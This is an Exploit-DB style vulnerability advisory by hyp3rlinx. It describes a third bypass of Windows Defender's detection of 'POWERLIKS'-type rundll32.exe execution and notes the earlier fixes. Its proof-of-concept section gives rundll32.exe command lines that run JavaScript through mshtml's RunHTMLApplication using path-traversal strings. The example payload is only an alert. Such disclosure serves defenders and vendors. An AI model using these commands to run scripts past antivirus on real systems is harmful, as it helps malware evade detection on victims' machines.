Microsoft Windows Defender TrojanWin32Powessere.G Mitigation Bypass Part 3

vendor:

Windows Defender

by:

John Page (aka hyp3rlinx)

6.1

CVSS

HIGH

Windows Defender Detection Mitigation Bypass - TrojanWin32Powessere.G

287

CWE

Product Name: Windows Defender

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE:

CPE: o:microsoft:windows_defender

Metasploit:

Other Scripts:

Platforms Tested: Windows

2024

Microsoft Windows Defender TrojanWin32Powessere.G Mitigation Bypass Part 3

Windows Defender fails to detect and prevent execution of TrojanWin32Powessere.G when leveraging rundll32.exe, leading to an 'Access is denied' error. The bypass was first disclosed in 2022 by passing an extra path traversal with mshtml, which was later mitigated. Subsequently, on Feb 7, 2024, using multiple commas as part of the path allowed bypassing the mitigation until it was fixed. Another trivial bypass was discovered soon after.

Mitigation:

Ensure Windows Defender is kept up to date with the latest security patches to prevent the described bypass techniques.

Source

Exploit-DB raw data:

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G


[CVE Reference]
N/A


[Security Issue]
Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message.

Back in 2022, I first disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.
Recently Feb 7, 2024, I disclosed using multi-commas "," will bypass that mitigation but has since been fixed again.
The fix was short lived as I find yet another third trivial bypass soon after.


[Exploit/POC]
Open command prompt as Administrator.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(13)
Access is denied.

C:\sec>rundll32.exe javascript:"\\..\\..\\mshtml\\..\\..\\mshtml,RunHTMLApplication ";alert('HYP3RLINX')


[Video PoC URL]
https://www.youtube.com/watch?v=yn9gdJ7c7Kg


[Network Access]
Local


[Severity]
High


[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
https://twitter.com/hyp3rlinx/status/1755417914599956833
https://twitter.com/hyp3rlinx/status/1758624140213264601


[Disclosure Timeline]
Vendor Notification:  
February 16, 2024 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx